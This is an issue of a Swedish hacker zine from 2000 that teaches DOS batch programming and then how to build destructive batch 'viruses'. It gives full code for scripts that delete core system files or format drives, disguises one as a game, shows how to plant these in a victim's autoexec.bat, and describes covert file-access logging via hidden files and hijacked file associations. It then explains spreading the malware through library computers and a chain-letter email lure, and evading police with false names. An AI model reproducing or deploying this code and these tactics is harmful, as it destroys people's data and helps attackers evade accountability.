                           _/HACKERS MENTOR\_
-----------------------------------------------------------------------------
                Batch programmering - Skapa ett eget virus
*****************************************************************************


Hejsan! Detta r nummer 11 av Hackers Mentor serien.
Nu har boken av Hackers Mentor kommit ut! 
Boken heter: "The white book of Hackers Mentor".
Allts, efter vart 10nde nya avsnitt s skapas en bok!
Sammansatt av alla kapitel. 
Det kanske lter lite ondigt, och det r det ocks...
Men det kan vara bra att ha ordning p stadierna i hacking vrlden.

Nr 20 nummer har kommit ut s skapas "The Yellow book of Hackers Mentor".
Sedan blir det; Orange, Red, Green, Blue, Purple, Brown & Black.
Jepp,, ungeffr som ranknings-ordningen med karate blten!

Du kan ladda hem boken p: www.insecurefoundation.cjb.net.


I Detta nummer:

+------------------------------+
| * Batch programmering        |
| * Programmen i DOS           |
| * Skapa ett virus            |
| * Att sprida viruset         |
| * Att inte ka fast fr det  |
+------------------------------+
* (En heldel fakta r hmtade ur GT(m)HH 2-2) *

_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_


Kapitel 1: BATCH PROGRAMMERING


Har du drmt om att kunna programmera? Att skapa ett virus som CIH eller s?
Nu ska vi lra oss att skapa ngot som liknar ett virus, dock har det en
snabbt aggerande sympton. 

Programmet som vi ska gra kommer att radera de viktigaste filerna i hrddisken
s att man s gott som mste ominstallera datorn.

* Detta r illegalt att anvnda p andras datorer, s om du inte vill lra dig 
  hur man gr det, hoppa ver kapitel 2! *


Frst och frmst ska vi titta p hur programmering i DOS fungerar.

DOS har ett eget, anvndarvnligt sprk som kallas BATCH.
Nr man ppnar DOS s kommer man till en "Prompt".
Den ser offtast ut s hr: 
C:\Windows\>

Om du nu vill ndra katalog s skriver du bara:
cd C:\
Fr att t.ex ndra till enhet C:\, utan ngon katalog.

Om du nu skulle skriva: "Autoexec" efter prompten, s skulle
filen som DOS anvnder i datorns uppstart, startas.
Filen Autoexec r en BAT-fil. Allts, en BATCH fil.
(C:\Autoexec.bat och C:\Command.com)-
-r tv filer som r ndvndiga fr att datorn ska kuna kras.
Men om de frsvinner s r det bara att stta i en Boot-diskett i
diskettenheten och starta datorn.

DOS r ju faktiskt det operativ system som du alltid anvnder,
men bakom "skalet" Windows.

Allts, r Windows ondigt fr en god DOS-operatr. Utan DOS s kan du
fortfarande anvnda datorn s gott som obegrnsat, s lnge du har DOS 
inlaggt. Men om du har Windows utan DOS, s kommer ingenting fungera.

Vi ska nu lra oss vilke filer som r viktigast fr DOS och hur vi tar bort
dem och andra filer genom DOS.

Men frst,,, BATCH-filerna.

- En Batch fil r allts en helt vanlig textfil i vilken du skriver lite DOS
kod och sparar som T.ex. "Hej.bat" i C:\ - katalogen.

Vi ska gra en testfil!


1. Skapa en ny textfil. 
2. ppna den och skriv in fljande kod:

@echo off
echo Hej p dig sjlv, %1

- Spara filen som "Hej.bat" p C:\.
Det filen gr, steg fr steg r:

1. @echo off 
- Meddelar DOS att den inte ska skriva ut eko i fnstret,
  det vill sga, att den ska ignorera "echo"-kommandot
  och bara skriva ut det som str efter.

2. echo Hej p dig sjlv, %1
- echo, betyder ju att DOS ska skriva ut den fljande texten.
  Vi har nu lagt till ett argument, genom att lgga till
"%1". detta refererar till det frsta argumentet som 
skickas till filen. Det vill sga, Nr du nu sparat filen
och gtt ut i DOS s skriver du t.ex:

C:\>Hej Johan

Nr du klickar p {Enter} s kommer DOS att kra
BAT filen vid namn Hej.bat p enhet C:\ och sedan
talar filen om fr DOS att det namn (Johan) som skrevs
EFTER filnamnet, skaplaceras vid "%1"-koden.

Vi kan skicka flera argument. Fr att
demonstrera detta, skapa en fil med namnet "args.bat" och
skriv in fljande rader:

@echo off
echo ARGS: %1 %2 %3 %4
echo REV: %4 %3 %2 %1
echo MIXED: %2 %1 %4 %3

Kr nu filen med tminstone tv argument (du kan anvnda fler
om du vill):


c:\>args hej steve hund regn

STEG 3 --Redirection
Nr man programmerar i dom flesta sprk, s finns det 3(tre)
referenser som du br veta: standard input (STDIN - vanligtvis
tangentbordet) , Standard output (STDOUT - bildskrmen) , och
standard error (STDERR - ocks bildskrmen). Men du kanske
inte vill ha ut datan till bildskrmen utan att den skall 
lagras i en fil. detta kan gras p ett ganska enkelt stt
med ngonting som kallas redirection.

hur fungerar detta? Jo, nr du skriver in ngonting som t.ex.

c:\>attrib /?

Fr att f reda p vad kommandot attrib (attributen) gr
och hur det anvnds, du ser en massa information p bild
skrmen. Frsk att gra samma sak med "net" kommandot under
Win95 och det ser ut som informationen bara frsvinner i frn
bildskrmen! S fr att skicka utdatan fr kommandot till en
fil, d lgger du bara till symbolen strre-n (>) och ett fil
namn till kommandot:

c:\>net /? > net.txt

Om du vill lgga till eller append information till en redan
existerande fil, d anvnder du dubbla strre-n symboler:

c:\>net view /? >> net.txt
****************************************************
Trick att Prva: Jag skall inte skriva om HTML programmering
hr men hr r ngonting du kan frska. Varje websida
har ngra bas kommandon.. dessa r taggarna fr att bestmma
huvudet, titel, fr att ndra tecken storlek och frg m.m.
Skriv en batch fil som tar utdatan fr en serie kommandon,
som t.ex. "net", " net view", "net use", net user", och 
"net time" och lgg dom i en HTML fil. genom detta kan du
lgga upp dom p webben. Du kan till och med inkludera 
lnkar m.m.
****************************************************

STEG 4 -- Autoexec.bat
Nu r det dags fr kungen bland alla batch filer,
Autoexec.bat filen. Detta r filen som anvnds av DOS
vid uppstarten av datorn och finns fr DOS och Win95 
(Win3.1 krs ovan p DOS och kallas p i autoexec.bat filen).
Anvnd autoexec.bat "fr att stlla in din hrdvaras 
specifikationer, personifiera hur MS-DOS visas, och starta minnes 
krvande program" (frn MS-DOS anvndare guide).
Du kan gra en massa intressanta saker med denna filen...
eller vilken annan batch fil som helst.


Notering fr NT: NT anvnder ingen autoexec.bat fil, men det 
finns en register nyckel som nr den r instlld riktigt, d kan 
du f tillgng till ett liknande upplgg som en autoexec.bat
fil, den r fr milj variabler. Undrar vad den kan gra mer....

*****************************************************
Genialt tips: Ta en titt p prompt kommandot genom att skriva:

c:\>prompt /?

Testa lite olika instllningar. Genom att skriva kommandot
fr att ndra utseendet p den nuvarande kommando promten
ndrar den bara fr tillfllet....genom att lgga till
kommandot i autoexec.bat filen ndrar den fr alltid.

*****************************************************

STEG 5 -- Aliases
Du kommer att upptcka att nr du skriver:

c:\>notepad somefile.txt

D ppnas Anteckningar (Notepad) med den aktuella filen
och i DOS fnstret fr du din prompt tillbaka. Om du vill
ha ett snabbt stt att ppna text filer, skapa en liten fil
med namnet "np.bat", och som innehller raderna:

@echo off
notepad %1 

Nu behver du bara skriva "np" och filnamnet.

****************************************************
Genialiskt Trick: Hr r ett stt att skapa en egen liten
mini-syslog daemon p din egen dator....eller ngon annans.
Skapa en fil med namnet "file.log" eller ntt annat namn du 
tycker, p ditt offers dator i Windows mappen.

Tips: Undersk kommandot "attrib" och var speciellt
intresserad av "h" mjligheten.  
Skapa nu en batch fil som skriver till filen file.log.
Du kanske skall ha det som skrev eller bara vilken fil
som ppnades.
Klicka nu Start ->Hjlp, skriv nu in "associera" och 
ppna upp "s hr ndrar du vilket program som startas nr 
du ppnar en fil". ndra nu associerande fr ".txt" till
att peka mot din batch fil, och var sker p att den sista
raden r:

notepad %1

Om din kompis anvnder Microsoft Word mycket, gr ndringar
fr den ocks.

**************************************************** 

****************************************************
Smart tips: Om du gillar Un*x kommandon, men inte har lust
att ladda ner dom, skriv dina egna d istllet. Skapa en
batch fil med namnet "ls.bat" och anvnd "dir" kommandot fr
att konfiguera skrmen. Brja med:

@echo off
dir %1

Var noga med att titta vilka brytare som finns fr kommandot
dir...
****************************************************

STEG 6 -- Samla Information
Det finns mnga kommandon fr att samla information,
speciellt p en ntverks dator. Dessa kommandon kan anvndas
fr fel skningar, liksom att anvndas fr andra egenskaper
(inga tips och tricks hr lite grann fr du tnka ut sjlv).
Brja genom att kra fljande kommandon p din dator medan du 
r kopplad till ett ntverk eller internet:

nbtstat -c
nbtstat -n
netstat -an
net user (NT only)
net use/config/time/view
arp -a

Nu nr du brjar se vad fr information som finns kan du
modifiera kommandona s att dom fljer dina behov, och
skriv en batch fil fr dom som skriver utdatan till en
log fil eller ntt.


_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_


Kapitel 2: ATT SKAPA ETT EGET VIRUS


_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_

Som sagt, du har skert drmmt om att skapa ett eget virus eller 
t minstone ett elakt program som skapar ordning i datorn.??

Jo, vi ska gra ett par sneekiga BATCH filer som sabbar din eller 
ngon annans dator!

 	 		 -= MaGiC =- 

Detta programmet skrev jag fr ett par mnader sedan.
Vad det gr r att skriva ett litet meddelande och radera
de viktigaste filerna p hrddisken.

1. Skapa en ny textfil.
2. Skriv in fljande kod:

@echo off
echo   //\\
echo  //  \\
echo //*  *\\
echo \\ /  //
echo  \\_ //
echo   \\//
echo    ~~
echo  Kenny
echo  IS 
echo  DEAD!!!
echo .........
echo And so are your harddrive!
echo Never forget MATHREON, ICECODER, NEIRO or What eather you like to call me!!
echo Stupid fuckers like U shouldnt play with computers at all,
echo Now, my lovley B.A.T.C.H file have to delete your ass!!!
echo.............................................................................
echo You fucked off the line. Bye!
DEL C:\Autoexec.bat
DEL C:\Command.com
DEL C:\Windows\Explorer.exe
DEL C:\Windows\Telenet.exe
DEL C:\Windows\Ftp.exe
DEL C:\Windows\Net.exe
DEL C:\Windows\Tracert.exe
DEL C:\Windows\Ping.exe
DEL C:\Windows\Calc.exe
DEL C:\Windows\desktop.ini
DEL C:\Windows\Msdos.sys
DEL C:\Windows\Notepad.exe
DEL C:\Windows\Progman.exe
DEL C:\Windows\Progman.ini
DEL C:\Windows\Regedit.exe
DEL C:\Windows\Route.exe
DEL C:\Windows\Rundll.exe
DEL C:\Windows\Rundll32.exe
DEL C:\Windows\Scandskw.exe
DEL C:\Windows\Scanregw.exe
DEL C:\Windows\Winfile.exe
DEL C:\Windows\Write.exe
DEL C:\Windows\System\Sysedit.exe
DEL C:\Windows\System\Systray.exe
DEL C:\Windows\System32\Desktop.ini

3. Nu sparar du filen i ngon konstig katalog p C:\, 
med namnet magic.bat Typ:
C:\g6m77hqm\blahsfrm\magic.bat

Spara filen p diskett, vi ska anvnda den senare.
- MEN VAD DU N GR, STARTA DEN INTE!!!


_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_

 Program nr 2: MegaRally 5.

Hr r ett annat program som du kan gra...
Programmet ser ut som ett spel, nr du ndrar ikon och s.. ;)
Lgg det p skoldatorernas skrivbord!

Skapa en fil med namnet "MegaRally5.bat" p disketten.
I filen ska denna kod finnas:

@echo off
echo Hacker VS Neiro talked at mIRC....
echo ----------------------------------------------------------------
echo  Neiro - And we will rule the world!
echo Hacker - And people will adore us.
echo  Neiro - And the cops will fear us.
echo Hacker - And the peoples computers will suddenly fuck off the line.
echo  Neiro - Jupp, - So never fuck with the L.O.W.A.N.G!
Format C:


S var det klart!.
Startar ngon filen s raderas hrddisken!

_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_

 Program nr 3: LoveGame.
------ brja kopiera under denna linie -------







Neiro is best! Neiro is better! NEIRO SIND BESTE!





------ Sluta kopiera ver denna linie ------

Spara filen p disketten som: "Lovegame.bat".

Resultatet blev iaf fr mig att Texten:
"Neiro is best! Neiro is better! NEIRO SIND BESTE!"
- brjade rulla ver skrmen med en massa C:\>-promptar
p sidan om sig. Ganska roligt!,,, (?)

_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_

Sista knepet.
ppna din ovnns Autoexec.bat - fil!
Skriv in denna kod frst eller sist i filen:

DEL C:\Autoexec.bat
DEL C:\Command.com
DEL C:\Windows\Explorer.exe
DEL C:\Windows\Telenet.exe
DEL C:\Windows\Ftp.exe
DEL C:\Windows\Net.exe
DEL C:\Windows\Tracert.exe
DEL C:\Windows\Ping.exe
DEL C:\Windows\Calc.exe
DEL C:\Windows\desktop.ini
DEL C:\Windows\Msdos.sys
DEL C:\Windows\Notepad.exe
DEL C:\Windows\Progman.exe
DEL C:\Windows\Progman.ini
DEL C:\Windows\Regedit.exe
DEL C:\Windows\Route.exe
DEL C:\Windows\Rundll.exe
DEL C:\Windows\Rundll32.exe
DEL C:\Windows\Scandskw.exe
DEL C:\Windows\Scanregw.exe
DEL C:\Windows\Winfile.exe
DEL C:\Windows\Write.exe
DEL C:\Windows\System\Sysedit.exe
DEL C:\Windows\System\Systray.exe
DEL C:\Windows\System32\Desktop.ini


eller denna kod:

format a:
format c:

Den frsta koden kommer att radera en massa filer p hrddisken
s fort din ovn startar datorn... Den andra koden kommer att
frska radera (den eventuella) disketten som sitter i.
Gr inte det s raderar den hrddisken.
(Om din ovn har en startup diskett i enhet A:\ s kommer den att
raderas, nr det r klart s kommer den fortstta med C:\.
Om din ovn inte har fler startup disketter s mste han/hon
lmna in datorn p lagning och riskera att frlora allt p datorn.

Jag r inte sker, men jag tror att om formateringen av C:\ hinner
startas, s kommer den fortstta ven om din ovn startar om datorn
innan den har formaterats. Det gr inte att avbryta! Sakta men
skert s kommer din ovns dator formateras varesej hon vill eller inte.

S, det r ett bra tips om du har Netbus eller BO p ngons dator,
att ladda upp din egna version av Autoexec.bat filen till
dennes dator, (enhet C:\ och ingen underkatalog!).

Ta det lugnt bara!

PS; Du kan ndra s att datorn bara formaterar disketten eller bara 
hrddisken ELLER ven fler enheter genom att radera/lgga till
olika format C: - kommandon.

Diskett enhet = A:
Hrddisk:     = C:
CD-ROM Enhet  = D:
Brnnar Enhet = E:
Ntverksenhet = F/G/H/I: o.s.v

^- De flesta datorer fljer dessa enhetsbeteckningar. Det r bara att kolla!

*********************************************************************
*********************************************************************

Ett annat hett tips r att ppna Autoexec.bat filen p din ovns dator,
sudda allt som str i den och kopiera in denna text:

@cd>>x
@%0

Detta kommer att sabba datorn totalt! ;-]
- Orkar inte frklara hur det fungerar doh!

_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_

Kapitel 3: ATT SPRIDA VIRUSET

_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_

Nu kommer din diskett vl till pass!

1. G till en skola, ett bibliotek eller nt stlle dr
det finns datorer att boka/lna. 

OBS; Om du bokar en dator, ANGE ALDRIG DITT RIKTIGA NAMN, E.T.C.. !!!
Om det hnder ngot olaglit s spras IP adressen till det lokala
ntverket och sedan till den dator du satt vid, de kollar
vilken tid det olagliga intrffade, och de ger polisen det namn
som satt vid just den datorn den tiden!

2. Nr du har en dator s stter du in disketten och LT BLI ATT
STARTA PROGRAMMEN!!!!

3. G till Hotmail eller ngot sdant och registrera en ny
mail adress, (ANONYM! Ange inga riktiga namn, nummer, adresser mm,,!)

4. G in p en gammal mailbox och ppna ett kedjebrev.
   Kopiera alla adresserna ur listan du ser.. (Till vilka som
   mailet har skickats).

5. G till din nya mailbox och kopiera in alla mail adresserna i
   "CC" - fltet. I "To:" -fltet skriver du din egen adress.
  Nu ska adresserna i "CC:"-fltet vara frnskiljda med komma-tecknen.
  S om adresserna: johan@epost.com & nils@mail.nu & carina@inkspot.com
  skulle st dr, skulle det se ut s hr:

johan@epost.com, nils@mail.nu, carina@inkspot.com

Eftersom att alla dessa har svarat p kedjebrevet s r de bevisligen
vldigt IQ-befriade! (De svarar p kedjebrev).

6. Skriv ett mail typ; 

"Vill du stoppa krleken?".

" Om du inte vill att krleken ver internet ska stoppas s
  r det bst att du skickar detta mail. Du kommer sjlv att
  trffa din strsta krlek: Den 13Juli, r: 2001...
  Detta meddelande kommer ndras fr varje person som fr mailet.
  Fr att det ska sl in s mste du befinna dig p Passagens chat
  "Amore" just det lyckliga datumet! Om du inte vill att dina kompisar
  ska sakna en partner fr resten av livet, skicka mailet till minst
  10 av dina vnner och under tiden du vntar p svar s kan du kolla
  p den underbara special videon med Leonardo Dicaprio och Jenny- 
  MCartny som fljde med mailet. Klicka p lnken fr att ppna 
  biografens drrar! Och glm inte bort dina vnners kommande lycka!

  /Amors E-Pil"

Nu kommer varenda jvel att svara p mailet, skicka det vidare till
MINST 10 kompisar samt ppna filen! Detta kommer f kedjebrevs-svararna
att tnka lite innan de ppnar bifogad E-Post!

7. Det br finnas en knapp fr att lgga till en fil ngon stans...
   Klicka dr, vlj "Browse" nr du kommit in, leta fram filen,
   klicka "OK" och...

8. Skicka Mailen och glm bort att du ngonsin gjort det! ;)

_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_

ATT HLA SIG BORTA FRN POLISEN...

Det enda tips jag kan ge dig hr, frutom att lta bli all
olaglig programmering och spridning av programmen,
r att kopiera koden till programmet p diskett..
G till ett bibliotek, boka en dator med falskt namn,
stta i disketten, skapa en BATCH fil av koden och
sedan registrera en anonym mailbox frn vilken du
skickar mailet med den bifogade filen!

Ta det FRUKTANSVRT lugnt!  /Neiro

_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_
_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_^_


Mera Information

Jag har samlat ihop ngra sajter som har mer detaljerad
information om batch fil programmering. Dom innehller
allt frn exempel till skolor fr att lra dig batch fil
programmering.... s ta grna en titt.
 


BATCH FIL PROGRAMMERING SAJTER
ftp://garbo.uwasa.fi/pc/ts/tsbat53.zip
http://gearbox.maem.umr.edu/~batch/ 
http://www.nc5.infi.net/~wtnewton/batch/index.html
http://purl.oclc.org/net/dirk/batcoll.all
http://purl.oclc.org/net/dirk/batvirus.all
http://www.deltaelectronics.com/tglbatch/

-----------------------------------------------------------------------------

Ha det bra tills nsta nummer kommer! 

/Mathreon som inte vet vad han ska heta.

-----------------------------------------------------------------------------

I nsta nummer:

Ska vi brja prata om Phreaking, hur du slcker ett kvarter,
hittar skp, verktyg, slcker gatlyktor p ett skojjit stt
och hur du fipplar med elrkningarna!

Nummer #12 kommer om en eller tv veckor.
-------------------------------------------------------------------------

Du hittar alla tidigare delar av "Hackers Mentor" p vr hemsida:
www.insecurefoundation.cjb.net

^------ Prenummeranter r alltid frst med att f senaste nummret.
*************************************************************************

Hackers Mentor guiderna ingr i "Hackies"-serien. Dr du ocks kan hitta
bcker som "BBS fr Hackies", "Telenet fr Hackies", "CC Fr Hackies" mm...
Vi  har ett brett sortiment bcker, tidningar och guider om hacking,
cracking och phreaking mm...
Du hittar vra texter p: www.insercurefoundation.cjb.net .
Dr kan du ocks hitta BOK VERSIONEN AV HACKERS MENTOR av icecoder
och ett flertal andra frfattare.
Boken r gratis och lggs upp i nya upplagor ju lngre guiden Hackers Mentor
kommer. G grna dit och ladda hem boken! Nstan alla vra texter r gratis
och du kommer ha stor nytta av dem.
***************************************************************************
Du fr grna lgga upp denna text p din hemsida s lnge dess inehll r
orrt! Alla rttigheter r reserverade; icecoder fr A.C.S Sweden. 
2000-03-19.
---------------------------------------------------------------------------

En del i "Hackies serien".Av icecoder
Du kan ocks hitta mig p DALNet. IRC kanalen: #Hackers!
(Med ett ! p slutet!)